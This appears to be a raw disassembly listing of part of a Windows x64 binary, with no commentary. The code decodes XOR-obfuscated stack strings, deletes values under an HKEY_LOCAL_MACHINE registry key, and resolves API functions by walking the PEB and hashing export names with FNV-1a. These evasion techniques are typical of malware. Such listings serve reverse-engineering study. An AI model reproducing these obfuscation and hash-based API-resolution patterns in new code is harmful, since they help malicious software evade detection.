call fcn.140001e50
add rdi, 0x20
cmp rdi, rsi
jne 0x140043882
movabs r13, 0x5344c64fa13d3e53
movabs r12, 0xe7bbf6ce0eb4f800
movabs r15, 0xeb42f1163c98e45
movabs r14, 0x1ab37d00a568b8d2
mov rax, qword [rbp + 0x150]
test rax, rax
jne 0x140044a30
cmp qword [rbp + 0x58], rax
je 0x1400445d4
mov byte [rbp - 0x21], al
mov byte [rbp - 0x20], al
movabs rbx, 0x392e9e5fb9972fce
movabs rdi, 0xd6e46f485172af87
movabs rsi, 0x530ac66fa14e3e24
movabs r8, 0x35bfe11a27cb2cfd
movabs r9, 0x2c2ba7320230da23
movabs r10, 0x499f1a59f1db45be
movabs r11, 0xf35c90f1f1efe8d7
movabs rdx, 0x12567fdaf2406d5c
movabs rax, 0x397a9e19b9d82f9d
mov qword [rbp + 0xdd0], rax
movabs rax, 0x35fae148278a2caa
mov qword [rbp + 0xdd8], rax
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0xde0], rax
movabs rax, 0x49f01a2af1b445cc
mov qword [rbp + 0xde8], rax
movabs rax, 0xf30b90adf19be8b1
mov qword [rbp + 0xdf0], rax
movabs rax, 0xd68b6f2c511cafee
mov qword [rbp + 0xdf8], rax
mov qword [rbp + 0xe00], r13
mov qword [rbp + 0xe08], r12
mov qword [rbp + 0xe10], r15
mov qword [rbp + 0xe18], r14
movabs rax, 0x22beccd3ee2147a7
mov qword [rbp + 0xe20], rax
movabs rax, 0x38a4eec27713ad94
mov qword [rbp + 0xe28], rax
movabs rax, 0x35faae85ead48459
mov qword [rbp + 0xe30], rax
movabs rax, 0x455304469773db6
mov qword [rbp + 0xe38], rax
movabs rax, 0xa5eeaaa7f1951bfb
mov qword [rbp + 0xe40], rax
movabs rax, 0x9716bd66bf759828
mov qword [rbp + 0xe48], rax
movabs rax, 0x166ff8c9cd6af1ad
mov qword [rbp + 0xe50], rax
movabs rcx, 0x3d22d478c491a43a
mov qword [rbp + 0xe58], rcx
movabs rax, 0xde8f848bda65ce8f
mov qword [rbp + 0xe60], rax
mov qword [rbp + 0xe68], rdx
movabs rax, 0xe7cef68d0ee8f854
movabs rcx, 0xeda2f7463bb8e37
movabs r14, 0x1ac17d65a53eb8a6
movabs r15, 0x22d0ccbcee4847d4
movabs r12, 0x38c5eeaf775aadc8
mov qword [rbp + 0x6e0], rbx
mov qword [rbp + 0x6e8], r8
mov qword [rbp + 0x6f0], r9
mov qword [rbp + 0x6f8], r10
mov qword [rbp + 0x700], r11
mov qword [rbp + 0x708], rdi
mov qword [rbp + 0x710], rsi
mov qword [rbp + 0x718], rax
mov qword [rbp + 0x720], rcx
mov qword [rbp + 0x728], r14
mov qword [rbp + 0x730], r15
mov qword [rbp + 0x738], r12
movabs r13, 0x35bcaea5eab1843e
mov qword [rbp + 0x740], r13
movabs rax, 0x4753021691b3ddf
mov qword [rbp + 0x748], rax
movabs rax, 0xa58daac2f1ed1bbe
mov qword [rbp + 0x750], rax
movabs rax, 0x9779bd0fbf01985d
mov qword [rbp + 0x758], rax
movabs rax, 0x161ff886cd4af1c3
mov qword [rbp + 0x760], rax
movabs rax, 0x3d4cd417c4f8a44e
mov qword [rbp + 0x768], rax
movabs rax, 0xde8f848bda39cefc
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x778], rdx
xor eax, eax
mov byte [rbp - 0x1f], al
movdqa xmm0, xmmword [rbp + 0x6e0]
pxor xmm0, xmmword [rbp + 0xdd0]
movdqa xmmword [rbp + 0x6e0], xmm0
movdqa xmm1, xmmword [rbp + 0x6f0]
pxor xmm1, xmmword [rbp + 0xde0]
movdqa xmmword [rbp + 0x6f0], xmm1
movdqa xmm0, xmmword [rbp + 0x700]
pxor xmm0, xmmword [rbp + 0xdf0]
movdqa xmmword [rbp + 0x700], xmm0
movdqa xmm1, xmmword [rbp + 0x710]
pxor xmm1, xmmword [rbp + 0xe00]
movdqa xmmword [rbp + 0x710], xmm1
movdqa xmm0, xmmword [rbp + 0x720]
pxor xmm0, xmmword [rbp + 0xe10]
movdqa xmmword [rbp + 0x720], xmm0
movdqa xmm1, xmmword [rbp + 0x730]
pxor xmm1, xmmword [rbp + 0xe20]
movdqa xmmword [rbp + 0x730], xmm1
movdqa xmm0, xmmword [rbp + 0x740]
pxor xmm0, xmmword [rbp + 0xe30]
movdqa xmmword [rbp + 0x740], xmm0
movdqa xmm1, xmmword [rbp + 0x750]
pxor xmm1, xmmword [rbp + 0xe40]
movdqa xmmword [rbp + 0x750], xmm1
movdqa xmm0, xmmword [rbp + 0x760]
pxor xmm0, xmmword [rbp + 0xe50]
movdqa xmmword [rbp + 0x760], xmm0
movdqa xmm1, xmmword [rbp + 0x770]
pxor xmm1, xmmword [rbp + 0xe60]
movdqa xmmword [rbp + 0x770], xmm1
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x34a0]
call fcn.14004fda0
nop
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x2011f
lea r8, [rbp + 0x34a0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x68]
call fcn.140037800
nop
lea rcx, [rbp + 0x34a0]
call fcn.14002fce0
cmp qword [rsp + 0x68], 0
jne 0x140043e5a
xor eax, eax
mov byte [rbp - 0x1e], al
mov byte [rbp - 0x1d], al
movabs rax, 0x397a9e1988e81fad
movabs rdi, 0x35fae148278a2caa
movabs rsi, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1290], rsi
mov qword [rbp + 0x1298], rdi
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdi
xor eax, eax
mov byte [rbp - 0x1c], al
movdqa xmm0, xmmword [rbp + 0x1290]
pxor xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x1d0], xmm0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x3600]
call fcn.14002b1e0
mov rdx, rax
lea rcx, [rbp + 0x3b40]
call fcn.14003bf50
movzx ebx, al
jmp 0x1400440b8
mov edx, 0x5c
mov rbx, 0xffffffffffffffff
mov r8, rbx
lea rcx, [rbp + 0x48]
call fcn.14004fbd0
lea r8, [rax + 1]
lea rcx, [rbp - 0x1b]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xa48]
call fcn.1400525a0
or dword [rsp + 0x70], 0x200
cmp qword [rbp + 0xa58], 0
jne 0x140043f31
xor eax, eax
mov byte [rbp - 0x1a], al
mov byte [rbp - 0x19], al
movabs rax, 0x397a9e198be81fad
movabs rdi, 0x35fae148278a2caa
movabs rsi, 0x397a9e19b9d82f9d
mov qword [rbp + 0x12a0], rsi
mov qword [rbp + 0x12a8], rdi
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdi
xor eax, eax
mov byte [rbp - 0x18], al
movdqa xmm0, xmmword [rbp + 0x12a0]
pxor xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x3620]
call fcn.14002b1e0
mov rdx, rax
lea rcx, [rbp + 0x3b40]
call fcn.14003bf50
movzx ebx, al
jmp 0x1400440ab
mov dword [rsp + 0x20], 0x2011f
lea r9, [rbp + 0xa48]
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0xa44]
lea rcx, [rsp + 0x68]
call fcn.140037a30
cmp dword [rax], 0
je 0x140043ffb
mov dword [rsp + 0x20], 0x2011f
lea r9, [rbp + 0xa48]
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0xa40]
lea rcx, [rsp + 0x68]
call fcn.140037970
cmp dword [rax], 0
je 0x140043ffb
xor eax, eax
mov byte [rbp - 0x17], al
mov byte [rbp - 0x16], al
movabs rax, 0x397a9e198ae81fad
movabs rdi, 0x35fae148278a2caa
movabs rsi, 0x397a9e19b9d82f9d
mov qword [rbp + 0x12b0], rsi
mov qword [rbp + 0x12b8], rdi
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdi
xor eax, eax
mov byte [rbp - 0x15], al
movdqa xmm0, xmmword [rbp + 0x12b0]
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x3640]
jmp 0x140043f15
lea rdx, [rbp + 0x15b8]
lea rcx, [rsp + 0x68]
call fcn.1400384c0
nop
cmp byte [rbp + 0x15d0], 1
je 0x1400440f0
xor eax, eax
mov byte [rbp - 0x14], al
mov byte [rbp + 3], al
movabs rax, 0x397a9e198de81fad
movabs rcx, 0x35fae148278a2caa
movabs rdx, 0x397a9e19b9d82f9d
mov qword [rbp + 0x12c0], rdx
mov qword [rbp + 0x12c8], rcx
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rcx
xor eax, eax
mov byte [rbp - 0x13], al
movdqa xmm0, xmmword [rbp + 0x1f0]
pxor xmm0, xmmword [rbp + 0x12c0]
movdqa xmmword [rbp + 0x1f0], xmm0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x3660]
call fcn.14002b1e0
mov rdx, rax
lea rcx, [rbp + 0x3b40]
call fcn.14003bf50
movzx ebx, al
lea rcx, [rbp + 0x15b8]
call fcn.140038810
nop
lea rcx, [rbp + 0xa48]
call fcn.14002fce0
nop
lea rcx, [rsp + 0x68]
call fcn.1400377b0
nop
lea rcx, [rbp + 0x20]
call fcn.14002fc70
nop
lea rcx, [rbp + 0x48]
call fcn.14002fce0
nop
lea rcx, [rbp + 0x140]
call fcn.14002fce0
test bl, bl
je 0x14004509d
jmp 0x140044a64
lea rcx, [rbp + 0x15b8]
call fcn.140054580
mov rdi, qword [rax + 8]
mov rbx, qword [rax]
cmp rbx, rdi
je 0x140044137
nop dword [rax + rax]
xor eax, eax
mov byte [rbp - 0x12], al
mov byte [rbp - 0x11], al
mov rcx, rbx
call fcn.14002b160
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
add rbx, 0x28
cmp rbx, rdi
jne 0x140044110
mov qword [rbp - 0x78], 0
mov dword [rbp - 0x70], 0
mov qword [rbp - 0x6c], 0x20000000
mov dword [rbp - 0x64], 0
lea rax, [rbp - 0x78]
mov qword [rbp + 0x12d0], rax
lea rax, [rbp - 0x60]
mov qword [rbp + 0x12d8], rax
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x12d0]
lea rcx, [rbp + 0x1890]
call fcn.14004f720
nop
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x50], 0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x12e0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x12e8], rax
lea r8, [rbp - 0xf]
lea rdx, [rbp + 0x12e0]
lea rcx, [rbp + 0x1878]
call fcn.14004f720
nop
xor eax, eax
mov byte [rbp - 0xe], al
mov byte [rbp - 0xd], al
movabs rax, 0x397a9e37b9f62fb3
movabs r14, 0x35fae148278a2caa
movabs r15, 0x397a9e19b9d82f9d
mov qword [rbp + 0x12f0], r15
mov qword [rbp + 0x12f8], r14
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], r14
xor eax, eax
mov byte [rbp - 0xc], al
movdqa xmm0, xmmword [rbp + 0x12f0]
pxor xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x3440]
call fcn.14004fda0
nop
xor eax, eax
mov byte [rbp - 0xb], al
mov byte [rbp - 0xa], al
movabs rax, 0x39379e5fb9992fd8
movabs rcx, 0x3596e13d27ee2cc5
movabs rdx, 0x2c48a75b020eda1a
movabs r12, 0x49f01a2af1b445cc
mov qword [rbp + 0x14d0], r15
mov qword [rbp + 0x14d8], r14
movabs rbx, 0x2c48a75b027dda7f
mov qword [rbp + 0x14e0], rbx
mov qword [rbp + 0x14e8], r12
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], rcx
mov qword [rbp + 0x2d0], rdx
mov qword [rbp + 0x2d8], r12
xor eax, eax
mov byte [rbp - 9], al
movdqa xmm0, xmmword [rbp + 0x2c0]
pxor xmm0, xmmword [rbp + 0x14d0]
movdqa xmmword [rbp + 0x2c0], xmm0
movdqa xmm1, xmmword [rbp + 0x2d0]
pxor xmm1, xmmword [rbp + 0x14e0]
movdqa xmmword [rbp + 0x2d0], xmm1
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x3420]
call fcn.14004fda0
lea r9, [rbp + 0x3440]
lea r8, [rbp + 0x3420]
lea rdx, [rbp + 0xa2c]
lea rcx, [rsp + 0x68]
call fcn.140037ae0
lea rcx, [rbp + 0x3420]
call fcn.14002fce0
nop
lea rcx, [rbp + 0x3440]
call fcn.14002fce0
xor eax, eax
mov byte [rbp - 8], al
mov byte [rbp - 7], al
movabs rdi, 0x39139e6db9b12fd0
movabs rsi, 0x3593e13c27eb2ccd
movabs rax, 0x2c38a7140213da10
movabs rcx, 0x499e1a45f1dd45b8
movabs rdx, 0xf30b90adf19be8c2
movabs r13, 0xd68b6f2c511cafee
mov qword [rbp + 0xac0], r15
mov qword [rbp + 0xac8], r14
mov qword [rbp + 0xad0], rbx
mov qword [rbp + 0xad8], r12
movabs rbx, 0xf30b90adf19be8b1
mov qword [rbp + 0xae0], rbx
mov qword [rbp + 0xae8], r13
mov qword [rbp + 0x490], rdi
mov qword [rbp + 0x498], rsi
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x4a8], rcx
mov qword [rbp + 0x4b0], rdx
mov qword [rbp + 0x4b8], r13
xor eax, eax
mov byte [rbp - 6], al
movdqa xmm0, xmmword [rbp + 0x490]
pxor xmm0, xmmword [rbp + 0xac0]
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmm1, xmmword [rbp + 0x4a0]
pxor xmm1, xmmword [rbp + 0xad0]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [rbp + 0x4b0]
pxor xmm0, xmmword [rbp + 0xae0]
movdqa xmmword [rbp + 0x4b0], xmm0
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x3460]
call fcn.14004fda0
lea r9, [rbp + 0x1890]
lea r8, [rbp + 0x3460]
lea rdx, [rbp + 0xa28]
lea rcx, [rsp + 0x68]
call fcn.140037b40
lea rcx, [rbp + 0x3460]
call fcn.14002fce0
xor eax, eax
mov byte [rbp - 5], al
mov byte [rbp - 4], al
movabs rax, 0x2c3da71a0213da10
movabs rcx, 0x49bf1a5ef1dd45a8
movabs rdx, 0xf36490c4f1efe8c1
movabs rbx, 0xd68b6f2c516faf80
mov qword [rbp + 0xaf0], r15
mov qword [rbp + 0xaf8], r14
movabs r8, 0x2c48a75b027dda7f
mov qword [rbp + 0xb00], r8
mov qword [rbp + 0xb08], r12
movabs r8, 0xf30b90adf19be8b1
mov qword [rbp + 0xb10], r8
mov qword [rbp + 0xb18], r13
mov qword [rbp + 0x460], rdi
mov qword [rbp + 0x468], rsi
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x478], rcx
mov qword [rbp + 0x480], rdx
mov qword [rbp + 0x488], rbx
xor eax, eax
mov byte [rbp - 3], al
movdqa xmm0, xmmword [rbp + 0xaf0]
pxor xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x460], xmm0
movdqa xmm1, xmmword [rbp + 0x470]
pxor xmm1, xmmword [rbp + 0xb00]
movdqa xmmword [rbp + 0x470], xmm1
movdqa xmm0, xmmword [rbp + 0x480]
pxor xmm0, xmmword [rbp + 0xb10]
movdqa xmmword [rbp + 0x480], xmm0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x3480]
call fcn.14004fda0
lea r9, [rbp + 0x1878]
lea r8, [rbp + 0x3480]
lea rdx, [rbp + 0xa68]
lea rcx, [rsp + 0x68]
call fcn.140037b40
lea rcx, [rbp + 0x3480]
call fcn.14002fce0
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x140]
call fcn.14002fd40
nop
lea rcx, [rbp + 0x1878]
call fcn.140001e50
nop
lea rcx, [rbp + 0x1890]
call fcn.140001e50
nop
lea rcx, [rbp + 0x15b8]
call fcn.140038810
nop
lea rcx, [rbp + 0xa48]
call fcn.14002fce0
nop
lea rcx, [rsp + 0x68]
call fcn.1400377b0
mov rax, qword [rbp + 0x150]
test rax, rax
jne 0x140044a30
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x21f8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044670
mov r9, qword [rbp + 0x2200]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140044667
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140044640
cmp r10d, esi
jne 0x1400447b7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x1400447bf
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x1400447b7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x1400447b7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + rdi]
mov r10d, 0x811c9dc5
movzx ebx, byte [rdx + rdi]
lea r9, [rdx + 1]
add r9, rdi
test bl, bl
je 0x1400446f7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x1400446d0
cmp r10d, r8d
je 0x140044709
test r11d, r11d
jne 0x1400446b0
mov rax, qword [rax]
jmp 0x140044600
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x1400447c1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400447c1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140044774
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140044750
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400447a6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140044780
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044600
xor ebx, ebx
movabs rax, 0x5e54ca49f08a64ce
movabs rcx, 0x5a88930d07a70ccd
movabs rdx, 0x2c48a75b027dda0d
movabs r9, 0x49f01a2af1b445cc
movabs r13, 0x397a9e19b9d82f9d
mov qword [rbp + 0x14f0], r13
movabs r8, 0x35fae148278a2caa
mov qword [rbp + 0x14f8], r8
movabs r10, 0x2c48a75b027dda7f
mov qword [rbp + 0x1500], r10
mov qword [rbp + 0x1508], r9
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rcx
mov qword [rbp + 0x350], rdx
mov qword [rbp + 0x358], r9
movdqa xmm0, xmmword [rbp + 0x340]
pxor xmm0, xmmword [rbp + 0x14f0]
movdqa xmmword [rbp + 0x340], xmm0
movdqa xmm1, xmmword [rbp + 0x350]
pxor xmm1, xmmword [rbp + 0x1500]
movdqa xmmword [rbp + 0x350], xmm1
movabs rcx, 0x550ff15a99850ec6
movabs rdx, 0x5b93876853ad42ce
movabs rdi, 0xb5ea1b423e7f8f8b
movabs rsi, 0x212bb63fd44e1e27
movabs r9, 0x4e29d42e221cfa1b
movabs r10, 0x2c97684b859420a0
movabs r11, 0x806af5c181bbc4c5
movabs r15, 0xd58bc6fe2defd874
movabs r12, 0xeb42f1163c9a018
movabs r14, 0x1ab37d00a568b8d2
mov qword [rbp + 0xc80], r13
mov qword [rbp + 0xc88], r8
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0xc90], rax
movabs rax, 0x49f01a2af1b445cc
mov qword [rbp + 0xc98], rax
movabs rax, 0xf30b90adf19be8b1
mov qword [rbp + 0xca0], rax
movabs rax, 0xd68b6f2c511cafee
mov qword [rbp + 0xca8], rax
movabs r8, 0x5344c64fa13d3e53
mov qword [rbp + 0xcb0], r8
movabs rax, 0xe7bbf6ce0eb4f800
mov qword [rbp + 0xcb8], rax
movabs rax, 0xeb42f1163c98e45
mov qword [rbp + 0xcc0], rax
mov qword [rbp + 0xcc8], r14
mov qword [rbp + 0x590], rcx
mov qword [rbp + 0x598], rdx
mov qword [rbp + 0x5a0], r9
mov qword [rbp + 0x5a8], r10
mov qword [rbp + 0x5b0], r11
mov qword [rbp + 0x5b8], rdi
mov qword [rbp + 0x5c0], rsi
mov qword [rbp + 0x5c8], r15
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], r14
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0x590], xmm0
movdqa xmm1, xmmword [rbp + 0x5a0]
pxor xmm1, xmmword [rbp + 0xc90]
movdqa xmmword [rbp + 0x5a0], xmm1
movdqa xmm0, xmmword [rbp + 0x5b0]
pxor xmm0, xmmword [rbp + 0xca0]
movdqa xmmword [rbp + 0x5b0], xmm0
movdqa xmm1, xmmword [rbp + 0x5c0]
pxor xmm1, xmmword [rbp + 0xcb0]
movdqa xmmword [rbp + 0x5c0], xmm1
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp + 0xcc0]
movdqa xmmword [rbp + 0x5d0], xmm0
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x590]
jmp 0x140043855
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1530]
call fcn.14004fd70
nop
lea rcx, [rbp + 0x20]
call fcn.14002fc70
nop
lea rcx, [rbp + 0x48]
call fcn.14002fce0
nop
lea rcx, [rbp + 0x140]
call fcn.14002fce0
xor esi, esi
mov edi, 0xabcbdc25
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1300], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044af0
mov r8, qword [rbp + 0x1308]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140044ae7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140044ac0
cmp r9d, esi
jne 0x140044c35
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140044c3d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140044c35
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140044c35
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140044b78
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140044b51
cmp r9d, edi
je 0x140044b8a
test r10d, r10d
jne 0x140044b30
mov rax, qword [rax]
jmp 0x140044a80
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x140044c3f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x140044c3f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140044bf4
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140044bd0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140044c24
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140044c00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044a80
xor edx, edx
call rdx
mov rbx, rax
lea rcx, [rbp + 0x1598]
call fcn.14001c9f0
mov qword [rbp + 0x15b0], rbx
lea rcx, [rbp + 0x1530]
call fcn.14002b160
mov rcx, qword [rbp + 0x15b0]
test rcx, rcx
jne 0x140044c73
xor ebx, ebx
jmp 0x140044c7e
mov rdx, rax
call fcn.14006c880
mov rbx, rax
lea rcx, [rbp + 0xa98]
call fcn.14001c9f0
mov qword [rbp + 0xab0], rbx
test rbx, rbx
jne 0x1400450ae
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1648], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044d30
mov r9, qword [rbp + 0x1650]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140044d27
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140044d00
cmp r10d, esi
jne 0x140044e77
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140044e7f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r14d, edx
add r14, rdi
cmp r14, rdi
je 0x140044e77
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140044e77
mov r12d, dword [r14 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140044db7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140044d90
cmp r10d, r8d
je 0x140044dc9
test r11d, r11d
jne 0x140044d70
mov rax, qword [rax]
jmp 0x140044cc0
mov ecx, dword [r14 + 0x1c]
add rcx, rdi
mov eax, dword [r14 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r14
jbe 0x140044e81
lea rax, [r14 + r13]
cmp rbx, rax
jae 0x140044e81
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140044e34
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140044e10
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140044e66
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140044e40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044cc0
xor ebx, ebx
movabs r14, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1510], r14
movabs r8, 0x35fae148278a2caa
mov qword [rbp + 0x1518], r8
movabs r12, 0x2c48a75b027dda7f
